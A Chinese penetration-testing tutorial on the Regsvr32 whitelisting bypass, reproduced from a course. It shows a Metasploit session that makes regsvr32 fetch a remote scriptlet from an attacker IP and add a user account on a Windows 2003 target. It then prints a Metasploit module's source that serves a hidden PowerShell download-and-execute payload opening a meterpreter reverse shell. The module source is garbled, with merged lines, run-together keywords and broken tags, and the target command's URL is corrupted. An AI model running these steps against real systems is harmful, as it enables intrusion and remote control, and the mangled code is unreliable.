渗透测试-基于白名单执行payload--Regsvr32

复现亮神课程基于白名单执行payload--Regsvr32

0x01 Regsvr32

Regsvr32命令用于注册COM组件，是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令，以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下；2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL，需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式，或者提供DllInstall输出函数。

说明：Regsvr32.exe所在路径已被系统添加PATH环境变量中，因此，Regsvr32命令可识别。

Windows 2003 默认位置：

C:\WINDOWS\SysWOW64\regsvr32.exe

C:\WINDOWS\system32\regsvr32.exe

0x02 复现

攻击机：192.168.1.4 Debian
靶机： 192.168.1.119 Windows 2003

A)msf_regsvr32

Msf配置:

msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_server

msf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /add

CMD => net user qingxin qingxin /add

msf5 auxiliary(server/regsvr32_command_delivery_server) > exploit

[*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96

[*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96

[*] Server started.

[*] Run the following command on the target machine:

regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll

靶机执行:

C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv

结果:

B) powershell版regsvr32

regsvr32_applocker_bypass_server.rb：

##
# This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework
##
class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking 

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.),
'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))end
def primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")end
def on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/
serve_sct_fileelse
serve_psh_payloadendend
def serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')end
def serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')end
def rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"end
def gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}end
end